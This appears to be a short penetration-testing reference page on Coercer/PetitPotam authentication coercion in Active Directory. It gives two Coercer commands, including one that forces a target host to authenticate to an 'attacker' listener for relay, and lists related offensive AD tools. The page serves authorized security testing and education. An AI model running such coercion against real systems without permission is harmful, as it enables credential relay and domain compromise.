Active Directory
Coercer / PetitPotam techniques
Force Windows hosts to authenticate to you for relay attacks.
Authorized testing only. Practice on systems you own, isolated labs, or targets with written permission. Unauthorized access is illegal.
When
Authorized internal tests combining coercion + relay.
How
Trigger auth to listener; capture/relay; always understand impact.
Why
Modern AD attack chains rely on authentication coercion.
Commands & usage
coercer scan -u user -p pass -d domain.local -t 192.168.1.20
coercer coerce -u user -p pass -d domain.local -l attacker -t 192.168.1.20
Commands are educational examples. Adapt hosts, paths, and rates to your authorized scope.
Tags
Related in Active Directory
Impacket
Python collection for Windows network protocols (SMB, WMI, Kerberos, etc.).
CrackMapExec / NetExec
Swiss army knife for pentesting Windows/Active Directory networks (NetExec successor).
BloodHound / SharpHound / AzureHound
Maps Active Directory attack paths using graph theory.
Rubeus
C# toolset for Kerberos abuse (AS-REP, kerberoast, tickets, etc.).
enum4linux-ng
SMB/Windows enumeration tool wrapping common Samba tools.
SMBMap
Enumerates Samba share drives across networks with permissions.